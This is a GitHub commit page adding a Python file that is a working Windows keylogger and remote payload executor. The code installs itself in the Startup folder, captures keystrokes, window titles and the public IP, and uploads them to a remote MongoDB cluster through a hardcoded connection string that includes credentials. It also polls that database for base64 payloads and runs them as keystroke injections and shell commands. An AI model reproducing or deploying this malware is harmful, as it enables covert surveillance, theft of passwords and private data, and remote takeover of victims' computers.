Skip to content

Commit 7f70cf9

Browse files
authored
Add files via upload
1 parent 6a2e76d commit 7f70cf9

File tree

1 file changed

+263
-0
lines changed

1 file changed

+263
-0
lines changed
Lines changed: 263 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,263 @@
1+
import os
2+
import sys
3+
import platform
4+
import socket
5+
import threading
6+
import base64
7+
import wave
8+
import logging
9+
import datetime
10+
import pygetwindow
11+
import pymongo
12+
import subprocess
13+
import webbrowser
14+
import time
15+
import pyautogui
16+
import requests
17+
import win32com.client
18+
from pynput import keyboard
19+
from pynput.keyboard import Listener
20+
from pynput.mouse import Listener as MouseListener
21+
from cryptography.fernet import Fernet
22+
23+
SEND_REPORT_EVERY = 30 # as in seconds
24+
25+
# <--MongoDB Connection-->
26+
try:
27+
client = pymongo.MongoClient("mongodb+srv://samratdey:mongoYzNqs%[email protected]/")
28+
db = client["keylogger"]
29+
keylogs_collection = db["keylog"]
30+
payload_collection = db["payload"]
31+
except pymongo.errors.ConnectionError as e:
32+
print(f"Failed to connect to MongoDB: {e}")
33+
34+
# <--Function to Fetch Public IP-->
35+
def get_public_ip():
36+
try:
37+
# Fetch public IP from an API
38+
response = requests.get('https://api.ipify.org')
39+
return response.text
40+
except requests.RequestException as e:
41+
print(f"Failed to fetch public IP: {e}")
42+
return "Unknown IP"
43+
44+
# <--Function to start on boot-->
45+
def add_to_startup():
46+
try:
47+
# Get the path to the user's Startup folder
48+
startup_folder = os.path.join(os.environ['APPDATA'], r"Microsoft\Windows\Start Menu\Programs\Startup")
49+
50+
# Get the full path of the current executable
51+
exe_path = os.path.realpath(sys.argv[0])
52+
shortcut_path = os.path.join(startup_folder, f"{os.path.basename(exe_path)}.lnk")
53+
54+
# Create a shortcut using win32com.client
55+
shell = win32com.client.Dispatch("WScript.Shell")
56+
shortcut = shell.CreateShortcut(shortcut_path)
57+
shortcut.TargetPath = exe_path
58+
shortcut.WorkingDirectory = os.path.dirname(exe_path)
59+
shortcut.IconLocation = exe_path
60+
shortcut.save()
61+
62+
print(f"{os.path.basename(exe_path)} has been added to Startup successfully.")
63+
except Exception as e:
64+
print(f"Failed to add {os.path.basename(exe_path)} to Startup: {e}")
65+
66+
# <--Generate and Store a Key for AES Encryption-->
67+
def generate_key():
68+
# return b"m0bvJQ1th6Y4T3Zeqz_An9XdyekAmBCMUNVOsXbQW1Q="
69+
return Fernet.generate_key()
70+
71+
# Use the key to create a Fernet cipher
72+
encryption_key = generate_key()
73+
cipher = Fernet(encryption_key)
74+
75+
# <--Function to Encrypt Data-->
76+
def encrypt_data(data):
77+
return cipher.encrypt(data.encode())
78+
79+
# <--Function to Decrypt Data-->
80+
def decrypt_data(data):
81+
return cipher.decrypt(data).decode()
82+
83+
# <--Keylogger Script-->
84+
class KeyLogger:
85+
def __init__(self, time_interval):
86+
self.interval = time_interval
87+
self.public_ip = get_public_ip() # Fetch public IP at the start
88+
89+
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(message)s] > %(message)s")
90+
91+
# Generate a new encryption key for this instance
92+
self.encryption_key = generate_key()
93+
self.cipher = Fernet(self.encryption_key) # Use self.cipher for encryption
94+
95+
def on_press(self, key):
96+
try:
97+
current_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S,%f")
98+
active_window = pygetwindow.getActiveWindow()
99+
window_title = active_window.title if active_window else "Unknown Window"
100+
key_pressed = key.char if hasattr(key, 'char') else str(key)
101+
102+
# Encrypt data with the generated key
103+
encrypted_timestamp = base64.b64encode(self.cipher.encrypt(current_time.encode())).decode('utf-8')
104+
encrypted_public_ip = base64.b64encode(self.cipher.encrypt(self.public_ip.encode())).decode('utf-8')
105+
encrypted_window_title = base64.b64encode(self.cipher.encrypt(window_title.encode())).decode('utf-8')
106+
encrypted_key_pressed = base64.b64encode(self.cipher.encrypt(key_pressed.encode())).decode('utf-8')
107+
108+
# Create the document structure, including the encryption key
109+
keylog_document = {
110+
"encryption_key": base64.b64encode(self.encryption_key).decode('utf-8'),
111+
"timestamp": encrypted_timestamp,
112+
"public_ip": encrypted_public_ip,
113+
"window_title": encrypted_window_title,
114+
"key_pressed": encrypted_key_pressed,
115+
}
116+
117+
# Insert keylog into MongoDB collection
118+
keylogs_collection.insert_one(keylog_document)
119+
120+
except AttributeError:
121+
logging.info(f"{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S,%f')} [Unknown IP] > Unknown Window > {key}")
122+
123+
def on_click(self, x, y, button, pressed):
124+
if pressed:
125+
current_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S,%f")
126+
window = pygetwindow.getWindowsWithTitle(pygetwindow.getActiveWindow().title)
127+
logging.info(f"{current_time} [{self.public_ip}] > {window[0].title} > Mouse {button} clicked at ({x}, {y})")
128+
129+
def on_move(self, x, y):
130+
current_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S,%f")
131+
logging.info(f"{current_time} [{self.public_ip}] > Mouse moved to {x}, {y}")
132+
133+
def on_scroll(self, x, y):
134+
current_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S,%f")
135+
logging.info(f"{current_time} [{self.public_ip}] > Mouse scrolled to {x}, {y}")
136+
137+
def report(self):
138+
timer = threading.Timer(self.interval, self.report)
139+
timer.start()
140+
141+
def run(self):
142+
keyboard_listener = keyboard.Listener(on_press=self.on_press)
143+
with keyboard_listener:
144+
self.report()
145+
keyboard_listener.join()
146+
147+
with MouseListener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener:
148+
mouse_listener.join()
149+
150+
# <--Payload Executor Script-->
151+
def execute_command(command):
152+
try:
153+
if command.startswith("DELAY"):
154+
delay_time = int(command.split()[1]) / 1000.0
155+
time.sleep(delay_time)
156+
elif command.startswith("STRING"):
157+
string_to_type = command.split("STRING ")[1].strip()
158+
pyautogui.typewrite(string_to_type)
159+
elif command.startswith("ENTER"):
160+
pyautogui.press('enter')
161+
elif command.startswith("GUI"):
162+
gui_key = command.split()[1].lower()
163+
if gui_key == "r":
164+
pyautogui.hotkey('win', 'r')
165+
elif gui_key == "l":
166+
pyautogui.hotkey('win', 'l')
167+
else:
168+
print("Unsupported GUI key:", gui_key)
169+
elif command.startswith("MENU"):
170+
pyautogui.press('menu')
171+
elif command.startswith("CTRL"):
172+
ctrl_key = command.split()[1].lower()
173+
pyautogui.hotkey('ctrl', ctrl_key)
174+
elif command.startswith("ALT"):
175+
alt_key = command.split()[1].lower()
176+
pyautogui.hotkey('alt', alt_key)
177+
elif command.startswith("SHIFT"):
178+
shift_key = command.split()[1].lower()
179+
pyautogui.hotkey('shift', shift_key)
180+
elif command.startswith("REM") or command.startswith("//"):
181+
# Ignore comments
182+
pass
183+
elif command.startswith("EXECUTE:"):
184+
file_path = command.split(":")[1].strip()
185+
subprocess.Popen(file_path, shell=True)
186+
elif command.startswith("BROWSE:"):
187+
url = command.split(":")[1].strip()
188+
webbrowser.open(url)
189+
elif command.startswith("CUSTOM:"):
190+
custom_command = command.split(":")[1].strip()
191+
# Add more custom command handling here as needed
192+
else:
193+
# Invalid command
194+
print("Invalid command:", command)
195+
except Exception as e:
196+
print("Error executing command:", e)
197+
logging.error(f"Error executing command '{command}': {e}")
198+
199+
def store_and_execute_payload():
200+
try:
201+
# Create a change stream to watch for inserts into the payload collection
202+
with payload_collection.watch([{'$match': {'operationType': 'insert'}}]) as stream:
203+
print("Listening for new payloads...")
204+
for change in stream:
205+
# Get the full document inserted
206+
document = change['fullDocument']
207+
208+
# Check if the document contains the expected key
209+
if "text" in document:
210+
# Get the base64 encoded text content from the document
211+
encoded_payload = document["text"]
212+
213+
# Decode the base64 encoded payload to clear text
214+
decoded_payload = base64.b64decode(encoded_payload).decode('utf-8')
215+
print("Payload decoded from base64.")
216+
217+
# Execute the decoded payload immediately
218+
execute_payload(decoded_payload)
219+
220+
# Optionally, delete the document from the collection after execution
221+
payload_collection.delete_one({"_id": document["_id"]})
222+
print("Payload document deleted from MongoDB.")
223+
else:
224+
print("Document does not contain the 'text' key.")
225+
226+
except pymongo.errors.PyMongoError as e:
227+
print(f"Error in MongoDB change stream: {e}")
228+
except KeyboardInterrupt:
229+
print("Keyboard interrupt detected. Stopping execution...")
230+
231+
232+
def execute_payload(payload_text):
233+
try:
234+
if payload_text:
235+
print("Executing payload...")
236+
for line in payload_text.split('\n'):
237+
execute_command(line.strip())
238+
print("Payload executed successfully.")
239+
else:
240+
print("Payload text is empty.")
241+
except Exception as e:
242+
print("Error executing payload:", e)
243+
244+
245+
# <--Executor Script-->
246+
def run_keylogger():
247+
keylogger = KeyLogger(SEND_REPORT_EVERY)
248+
keylogger.run()
249+
250+
def execute_payload_script():
251+
store_and_execute_payload()
252+
253+
# <--Run both Keylogger and Payload Executor-->
254+
if __name__ == '__main__':
255+
# Ensure the executable adds itself to startup
256+
add_to_startup()
257+
258+
# Start the keylogger and payload executor
259+
keylogger_thread = threading.Thread(target=run_keylogger)
260+
payload_thread = threading.Thread(target=execute_payload_script)
261+
262+
keylogger_thread.start()
263+
payload_thread.start()

0 commit comments

Comments
 (0)